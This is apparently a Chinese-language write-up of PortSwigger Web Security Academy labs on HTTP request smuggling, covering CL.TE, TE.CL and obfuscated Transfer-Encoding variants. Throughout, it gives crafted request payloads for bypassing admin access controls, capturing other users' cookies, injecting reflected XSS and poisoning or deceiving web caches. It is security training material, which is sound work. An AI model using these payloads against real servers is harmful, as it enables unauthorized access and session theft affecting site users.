portswigger——HTTP Request Smuggling_01

JKding233 / 2023-09-01 / 原文

系列文章,包含:
02_Response queue poisoning(响应队列中毒)
03_Advanced request smuggling(高级请求走私)
04_HTTP request tunnelling(HTTP 请求隧道)
05_Browser-powered request smuggling(浏览器驱动的请求走私)

CL.TE: Content-LengthTransfer-Encoding

POST / HTTP/1.1
Host: 0a34007804e3b9f083f52d0b00bc0062.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

Transfer-Encoding

  1. Transfer-Encoding,是一个 HTTP 头部字段(响应头域),字面意思是「传输编码」。最新的 HTTP 规范里,只定义了一种编码传输:分块编码(chunked)。

  2. 分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由网页服务器发送给客户端的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。

  3. 数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。

  4. 具体方法

    1. 在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。
    2. 每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。
    3. 最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。
  5. 例:

    POST / HTTP/1.1
    Host: YOUR-LAB-ID.web-security-academy.net
    Content-Type: text/plain
    Transfer-Encoding: chunked
    
    25\r\n
    This is the data in the first chunk\r\n
    1C\r\n
    and this is the second one\r\n
    3\r\n
    con\r\n
    8\r\n
    sequence\r\n
    0\r\n
    \r\n
    
  6. Content-Encoding 和 Transfer-Encoding 二者经常会结合来用,其实就是针对 Transfer-Encoding 的分块再进行 Content-Encoding压缩。

前端服务器处理标头并确定请求正文为 6 字节长,直到结束。此请求将转发到后端服务器。

后端服务器处理标头,因此将正文视为使用 分块编码。它处理第一个块,该块的长度为零,因此被视为终止请求。之后字节 、 保持未处理状态,后端服务器会将这些字节视为序列中下一个请求的开始。

再次发送请求,第一次请求中的G和第二次请求中的POST拼接

TE.CL: Transfer-EncodingContent-Length

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

第二个Content-Length大于10即可,第二次发包中的GPOST可以改为其他字符

取消Update Content-Length

前端服务器处理标头,因此将请求正文视为使用分块编码。

它处理第一个块,长度为 92(5c)个字节,直到后面的行的开头。

它处理第二个块,长度为 0个字节,直到后面的行的开头。

此请求将转发到后端服务器。

后端服务器处理标头并确定请求正文为 4个字节 长,直到后面的行的开头。以下字节(以GPOST开头)将保持未处理状态,后端服务器会将这些字节视为下一个字节的开始序列中的请求。

第二个Content-Length大于10,后端服务器会等待下一个到来才会处理,再次发送请求,使数据包大于15,后端服务器开始处理GPOST的请求

TE.TE: Transfer-Encoding

前端服务器和后端服务器都使用Transfer-Encoding标头,但其中一个服务器 可以通过以某种方式混淆标头来诱导不处理它。

混淆 TE 标头

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都涉及与HTTP规范的微妙背离。实现协议规范的实际代码 很少以绝对的精度遵守它,并且不同的实现通常容忍来自 规范。要发现 TE.TE 漏洞,有必要找到标头的一些变体,以便只有一个前端或后端服务器处理Transfer-Encoding,而其他服务器忽略它

根据可以诱导是前端服务器还是后端服务器不处理混淆标头,攻击的其余部分将采用与 CL.TE 或 TE 相同的形式。CL 已经描述的漏洞。Transfer-Encoding

本实验涉及前端服务器和后端服务器,两台服务器以不同的方式处理重复的 HTTP 请求标头。前端服务器拒绝未使用 GET 或 POST 方法的请求。

将TE-TE 转换为TE-LC

POST / HTTP/1.1
Host: 0a9900c20481988b80932bf80005001a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


第二次发包

查找 HTTP 请求走私漏洞

使用定时技术查找 HTTP 请求走私漏洞

1、使用定时技术查找 HTTP 请求走私漏洞

查找 CL.TE 漏洞

如果应用程序容易受到请求走私的 CL.TE 变体的影响,则发送如下所示的请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

由于前端服务器使用Content-Length标头,因此它将仅转发此请求的一部分,X省略 .后端服务器使用Transfer-Encoding标头,处理第一个区块,然后等待下一个区块到达。这将导致可观察到的时间延迟。

寻找 TE。使用计时技术的 CL 漏洞

如果应用程序容易受到 TE 的攻击。请求走私的 CL 变体,然后发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

由于前端服务器使用Transfer-Encoding标头,因此它将仅转发此请求的一部分,省略 X,后端服务器使用Content-Length标头,期望邮件正文中有更多内容,并等待剩余内容到达。这将导致可观察到的时间延迟。

TE 的基于时序的测试。如果应用程序容易受到漏洞的 CL.TE 变体的攻击,则 CL 漏洞可能会中断其他应用程序用户。因此,为了隐身并最大程度地减少中断,您应该首先使用 CL.TE 测试,然后继续执行 TE。仅当第一次测试不成功时才进行 CL 测试

2、使用差异响应确认 HTTP 请求走私漏洞

检测到可能的请求走私漏洞后,您可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞的进一步证据。这涉及快速连续向应用程序发送两个请求:

  • 旨在干扰下一个请求的处理的“攻击”请求。
  • “正常”请求。

如果对正常请求的响应包含预期的干扰,则确认漏洞。

例如,假设正常请求如下所示:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

此请求通常收到状态代码为 200 的 HTTP 响应,其中包含一些搜索结果。

干扰此请求所需的攻击请求取决于存在的请求走私变体:CL.TE 与 TE.CL。

使用差分响应确认 CL.TE 漏洞

要确认 CL.TE 漏洞,您需要发送如下攻击请求:

前端识别Content-Length,后端识别Transfer-Encoding

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则后端服务器将此请求的最后两行视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于此请求现在包含无效的 URL,服务器将使用状态代码 404 进行响应,表明攻击请求确实干扰了它。

实验室:HTTP 请求走私,通过差异响应确认 CL.TE 漏洞

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。

若要解决实验室问题,请将请求偷运到后端服务器,以便对(Web 根目录)的后续请求触发 404 未找到响应

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

第二个请求应收到 HTTP 404 响应

使用差分响应确认的 TE.CL 漏洞

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

要使用 Burp 转发器发送此请求,您首先需要转到中继器菜单并确保未选中“更新内容长度”选项。

您需要在 0之后包含尾随序列。\r\n\r\n

如果攻击成功,则后端服务器会将此后的所有内容视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:GET /404

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于此请求现在包含无效的 URL,服务器将使用状态代码 404 进行响应,表明攻击请求确实干扰了它。

实验室:HTTP 请求走私,通过差异响应确认 TE.CL 漏洞

此实验室涉及前端和后端服务器,后端服务器不支持分块编码。

若要解决实验室问题,请将请求偷运到后端服务器,以便对(Web 根目录)的后续请求触发 404 未找到响应。/

第二个请求应收到 HTTP 404 响应。

POST / HTTP/1.1
Host: 0ab800510442a7408200e8cb00f900b8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

前端服务器识别Transfer-Encoding ,将请求发送后端服务器Content-Length: 15,所以会等下一个请求过来后处理

注意

尝试通过干扰其他请求来确认请求走私漏洞时,应牢记一些重要注意事项:

  • “攻击”请求和“正常”请求应使用不同的网络连接发送到服务器。通过同一连接发送这两个请求并不能证明该漏洞的存在。
  • “攻击”请求和“正常”请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加请求由同一后端服务器处理的机会,这对于攻击起作用至关重要。
  • 在测试“正常”请求以检测来自“攻击”请求的任何干扰时,您正在与应用程序同时收到的任何其他请求(包括来自其他用户的请求)竞争。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙,您可能需要执行多次尝试来确认漏洞。
  • 在某些应用程序中,前端服务器充当负载平衡器,并根据某些负载平衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,那么攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
  • 如果您的攻击成功干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,则意味着另一个应用程序用户受到您的攻击的影响。如果继续执行测试,这可能会对其他用户产生破坏性影响,应谨慎行事。

利用 HTTP 请求走私漏洞

使用 HTTP 请求走私绕过前端安全控制

在某些应用程序中,前端 Web 服务器用于实现某些安全控制,决定是否允许处理单个请求。允许的请求将转发到后端服务器,在该服务器中,它们被视为已通过前端控件。

例如,假设应用程序使用前端服务器来实现访问控制限制,仅在用户有权访问请求的 URL 时才转发请求。然后,后端服务器无需进一步检查即可接受每个请求。在这种情况下,HTTP 请求走私漏洞可用于绕过访问控制,方法是将请求走私到受限制的 URL。

假设当前用户被允许访问/home,但不允许 /admin。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

前端服务器在此处看到两个请求,均为/home,因此这些请求将转发到后端服务器。但是,后端服务器看到一个请求/home 和 一个请求/admin。它假定(一如既往)请求已通过前端控件,因此授予对受限 URL 的访问权限。

实验室:利用HTTP请求走私绕过前端安全控制,CL.TE漏洞

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。有一个管理面板/admin,但前端服务器阻止访问它。

若要解决实验室问题,请将请求偷运到访问管理面板并删除用户的后端服务器。carlos

尝试访问/admin并观察请求是否被阻止。

使用打嗝中继器发出以下请求两次:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

观察到合并的请求由于未使用Host: localhost标头而被拒绝。

发出以下请求两次:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

请注意,由于第二个请求的 Host 标头Host: YOUR-LAB-ID.web-security-academy.net与第一个请求中走私的 Host 标头Host: localhost冲突,请求被阻止。

发出以下请求两次,以便将第二个请求的标头追加到走私的请求正文:

第一个请求存在正文x=,第二次的请求会被放入正文中

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

请注意,您现在可以访问管理面板。

使用上一个响应作为参考,将走私请求 URL 更改为删除:carlos

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

连续发送两次请求,页面进行跳转即删除成功

302跳转

再次查看/admincarlos已经被删除

实验室:利用HTTP请求走私绕过前端安全控制,TE.CL漏洞

此实验室涉及前端和后端服务器,后端服务器不支持分块编码。有一个管理面板,但前端服务器阻止访问它。/admin

若要解决实验室问题,请将请求偷运到访问管理面板并删除用户的后端服务器。carlos

确认存在TE.CL漏洞

尝试访问/admin并观察请求是否被阻止。

在Burp Suite中,转到“转发器”菜单,并确保未选中“更新内容长度”选项。
使用打嗝中继器发出以下请求两次:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

发出以下请求两次

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

删除carlos

删除成功,进行跳转

揭示前端请求重写

在许多应用程序中,前端服务器在将请求转发到后端服务器之前对请求执行一些重写,通常是通过添加一些额外的请求标头。例如,前端服务器可能:

  • 终止 TLS 连接并添加一些描述所用协议和密码的标头;
  • 添加包含用户 IP 地址的标头;X-Forwarded-For
  • 根据用户的会话令牌确定用户的 ID,并添加标识用户的标头;
  • 添加一些对其他攻击感兴趣的敏感信息。

在某些情况下,如果走私请求缺少通常由前端服务器添加的某些标头,则后端服务器可能无法以正常方式处理请求,从而导致走私请求无法达到预期效果。

通常有一种简单的方法可以准确揭示前端服务器如何重写请求。为此,您需要执行以下步骤:

  • 查找将请求参数的值反映到应用程序响应中的 POST 请求。
  • 随机排列参数,以便反射的参数显示在消息正文中的最后。
  • 将此请求偷运到后端服务器,然后直接处理要显示其重写表单的普通请求。

假设应用程序具有反映参数值的登录函数:email

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这将导致包含以下内容的响应:

<input id="email" value="wiener@normal-user.net" type="text">

在这里,您可以使用以下请求走私攻击来揭示前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器将重写请求以包含其他标头,然后后端服务器将处理走私的请求,并将重写的第二个请求视为参数的值。然后,它将在对第二个请求的响应中反映此值:email

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

由于最终请求正在重写,因此您不知道它会结束多长时间。走私请求中标头中的值将确定后端服务器认为请求的时长。如果将此值设置得太短,则只会收到重写请求的一部分;如果设置的时间过长,后端服务器将超时等待请求完成。当然,解决方案是猜测一个比提交的请求大一点的初始值,然后逐渐增加该值以检索更多信息,直到您拥有感兴趣的所有内容。Content-Length

揭示前端服务器如何重写请求后,可以对走私的请求应用必要的重写,以确保后端服务器以预期的方式处理这些请求。

实验室:利用 HTTP 请求走私揭示前端请求重写

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。

有一个管理面板,但只有IP地址为127.0.0.1的人才能访问。前端服务器将 HTTP 标头添加到包含其 IP 地址的传入请求。它类似于标头,但名称不同。/admin``X-Forwarded-For

若要解决实验室问题,请将请求偷运到后端服务器,该请求显示前端服务器添加的标头。然后将包含添加标头的请求偷运到后端服务器,访问管理面板并删除用户。carlos

浏览到并观察到只能从127.0.0加载管理面板/admin

使用站点的search搜索功能并观察它是否反映了参数的值。

使用打嗝中继器发出以下请求两次。

0 search results for 'testPOST / HTTP/1.1
X-NDERvN-Ip: 117.136.138.14
Host: 0a8900540302aba7870a1bbe009f0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer'

前端服务器会添加请求头X-NDERvN-Ip: 117.136.138.14

访问管理面板

POST / HTTP/1.1
Host: 0a8900540302aba7870a1bbe009f0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-NDERvN-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

删除carlos

POST / HTTP/1.1
Host: 0a8900540302aba7870a1bbe009f0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-NDERvN-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

删除成功

绕过客户端身份验证

作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)进行身份验证。此证书包含其“公用名”(CN),该名称应与其注册的主机名匹配。然后,客户端可以使用它来验证它们是否正在与属于预期域的合法服务器通信。

一些站点更进一步,实现了一种形式的相互 TLS 身份验证,其中客户端还必须向服务器提供证书。在这种情况下,客户端的 CN 通常是用户名等,例如,可以在后端应用程序逻辑中用作访问控制机制的一部分。

对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头追加到任何传入请求中:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头应该对用户完全隐藏,因此后端服务器通常隐式信任它们。假设您能够发送正确的标头和值组合,这可能会导致您绕过访问控制。

实际上,此行为通常不可利用,因为前端服务器往往会覆盖这些标头(如果它们已存在)。但是,走私的请求对前端完全隐藏,因此它们包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

捕获其他用户的请求

如果应用程序包含允许您存储和稍后检索文本数据的任何类型的功能,则可以使用它来捕获其他用户请求的内容。这些可能包括用户提交的会话令牌或其他敏感数据。用作此攻击工具的合适功能是评论、电子邮件、个人资料描述、屏幕名称等。

要执行攻击,您需要走私一个将数据提交到存储函数的请求,其中包含要存储的数据的参数位于请求的最后。例如,假设应用程序使用以下请求提交博客文章评论,该评论将存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

现在考虑一下,如果您走私一个具有过长标头Content-Length且参数位于请求末尾comment的等效请求,会发生什么情况,如下所示:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

走私请求的标头Content-Length指示正文长度为 400 字节,但我们只发送了 144 字节。在这种情况下,后端服务器将在发出响应之前等待剩余的 256 个字节,或者如果响应速度不够快,则会发出超时。因此,当通过同一连接将另一个请求发送到后端服务器时,前 256 个字节将有效地附加到走私请求中,如下所示:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
... 

由于受害者请求的开头包含在参数中,因此这将作为评论发布在博客上,使您能够通过访问相关帖子来阅读它。comment

要捕获更多受害者的请求,您只需相应地增加走私请求标头的值Content-Length,但请注意,这将涉及一定量的试验和错误。如果遇到超时,这可能意味着您指定的Content-Length高于受害者请求的实际长度。在这种情况下,只需减小该值,直到攻击再次起作用。

注意

此技术的一个限制是,它通常只会捕获适用于走私请求的参数分隔符之前的数据。对于 URL 编码的表单提交,这将是字符,这意味着从受害用户的请求中存储的内容将在第一个& 结束,甚至可能出现在查询字符串中

实验室:利用 HTTP 请求走私来捕获其他用户的请求CL.TE

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。

若要解决实验室问题,请将请求偷运到后端服务器,使下一个用户的请求存储在应用程序中。然后检索下一个用户的请求,并使用受害用户的 cookie 访问他们的帐户。

实验室模拟受害用户的活动。您向实验室发出的每几个 POST 请求,受害用户就会提出自己的请求。您可能需要重复攻击几次,以确保受害用户的请求按要求发生。

访问博客文章并发表评论。

将请求发送到 Burp 中继器,打乱comment-post正文参数,以便参数comment最后出现,并确保它仍然有效。

将请求Content-Length增加到 400,然后将其comment-post走私到后端服务器:

POST / HTTP/1.1
Host: 0a9b00ed0313dbb7825cbbb9006600de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=3ostd9dD3YlQ5UTf5dI4CY6xhnhKjKeb

csrf=pL937K6LkHb4GtCSd8iuza3HtRrS1vlC&postId=5&name=Ca&email=carlos%40normal-user.net&website=http%3A%2F%2Fa.cc&comment=

cookie: victim-fingerprint=COpRvX7M725g9mwXKhwVtVEwrt0kWJgE; secret=GQui7rhgLKQ9aHDehn5I127D583m4FNE; session=BzqZNKYGCgJ5TP8nTa2hYuYZuCONLNWh

使用 HTTP 请求走私来利用反射的 XSS

如果应用程序容易受到 HTTP 请求走私的攻击,并且还包含反射的 XSS,则可以使用请求走私攻击来攻击该应用程序的其他用户。此方法在两个方面优于正常利用反射式 XSS:

  • 它不需要与受害用户进行交互。您无需向他们提供 URL 并等待他们访问它。您只需走私一个包含 XSS 有效负载的请求,后端服务器处理的下一个用户请求就会被击中。
  • 它可用于利用请求中无法在正常反射 XSS 攻击中轻松控制的部分(例如 HTTP 请求标头)中的 XSS 行为。

例如,假设应用程序在标头中存在反射型 XSS 漏洞。您可以在请求走私攻击中利用此漏洞,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将附加到走私的请求中,他们将在响应中接收反射的 XSS 有效负载。

实验室: 利用 HTTP 请求走私来传送反射的 XSS

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。

应用程序也容易受到通过User-Agent标头反射的 XSS 的攻击。

要解决实验室问题,请将请求偷运到后端服务器,使下一个用户的请求接收包含执行 XSS 漏洞的响应。alert(1)

<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
   <input required type="hidden" name="csrf" value="G5wp40uNiXCY7M9PeZUV0D4gollx4kVX">
   <input required type="hidden" name="userAgent" value="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36">
   <input required type="hidden" name="postId" value="5">
   <label>Comment:</label>
   <textarea required rows="12" cols="300" name="comment"></textarea>
      <label>Name:</label>
      <input required type="text" name="name">
      <label>Email:</label>
      <input required type="email" name="email">
      <label>Website:</label>
      <input pattern="(http:|https:).+" type="text" name="website">
      <button class="button" type="submit">Post Comment</button>
</form>

将XSS语句插入User-Agent头

"/><script>alert(1)</script>

成功弹窗

将此 XSS 请求走私到后端服务器,以便它利用下一个访问者

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

持续发送请求

使用 HTTP 请求走私将现场重定向转换为开放重定向

许多应用程序执行从一个 URL 到另一个 URL 的现场重定向,并将请求标头中的主机名Host放入重定向 URL。

这方面的一个例子是 Apache 和 IIS Web 服务器的默认行为,其中对没有尾部斜杠的文件夹的请求会收到重定向到同一文件夹,包括尾部斜杠:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

此行为通常被认为是无害的,但可以在请求走私攻击中利用此行为将其他用户重定向到外部域。例如:

走私请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户请求。例如:

在这里,用户的请求是由网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回自己的 JavaScript 来完全危害受害用户。

将根相对重定向转换为开放重定向

在某些情况下,您可能会遇到服务器级重定向,这些重定向使用路径为标头构造根相对 URL,例如:Location

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许您在路径中使用协议相对 URL,则这可能仍可用于打开重定向:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

使用 HTTP 请求走私执行 Web 缓存中毒

在上述攻击的变体中,可能会利用 HTTP 请求走私来执行 Web 缓存中毒攻击。如果前端基础结构的任何部分执行内容缓存(通常出于性能原因),则可能会使用异地重定向响应使缓存中毒。这将使攻击持续存在,影响随后请求受影响 URL 的任何用户。

在此变体中,攻击者将以下所有内容发送到前端服务器:

走私的请求到达后端服务器,后端服务器像以前一样使用异地重定向进行响应。前端服务器根据它认为是第二个请求中的 URL 缓存此响应,即:/static/include.js

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从这一点开始,当其他用户请求此 URL 时,他们会收到重定向到攻击者的网站。

实验室:利用 HTTP 请求走私执行 Web 缓存中毒

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。前端服务器配置为缓存某些响应。

要解决实验室问题,请执行导致缓存中毒的请求走私攻击,以便对 JavaScript 文件的后续请求收到重定向到漏洞利用服务器。中毒的缓存应发出警报。document.cookie

打开一篇博客文章,单击“下一篇文章”,然后尝试使用不同的 Host 标头走私生成的请求:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

请注意,您可以使用此请求将网站的下一个请求重定向到您选择的主机上。/post

转到您的漏洞利用服务器,并在以下位置创建一个文件:text/javascript``/post

需要多发送几次

直到请求js文件发生跳转

利用HTTP请求走私进行网页缓存欺骗

在攻击的另一种变体中,您可以利用HTTP请求走私来执行Web缓存欺骗。这的工作方式与 Web 缓存中毒攻击类似,但目的不同。

网络缓存中毒和网络缓存欺骗有什么区别?

  • Web 缓存中毒中,攻击者导致应用程序在缓存中存储一些恶意内容,并将这些内容从缓存提供给其他应用程序用户。
  • Web 缓存欺骗中,攻击者使应用程序在缓存中存储一些属于其他用户的敏感内容,然后攻击者从缓存中检索这些内容。

在此变体中,攻击者窃取返回一些敏感的用户特定内容的请求。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

转发到后端服务器的其他用户的下一个请求将附加到走私的请求,包括会话 cookie 和其他标头。例如:

后端服务器以正常方式响应此请求。请求中的 URL 用于用户的私人消息,请求在受害用户的会话上下文中处理。前端服务器根据它认为是第二个请求中的 URL 缓存此响应,即:/static/some-image.png

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

然后,攻击者访问静态 URL 并接收从缓存返回的敏感内容。

这里的一个重要警告是,攻击者不知道将缓存敏感内容的URL,因为这将是受害者用户在走私请求生效时碰巧请求的任何URL。攻击者可能需要获取大量静态 URL 才能发现捕获的内容。

实验室:利用HTTP 请求走私来执行 Web 缓存欺骗

此实验室涉及前端和后端服务器,前端服务器不支持分块编码。前端服务器正在缓存静态资源。

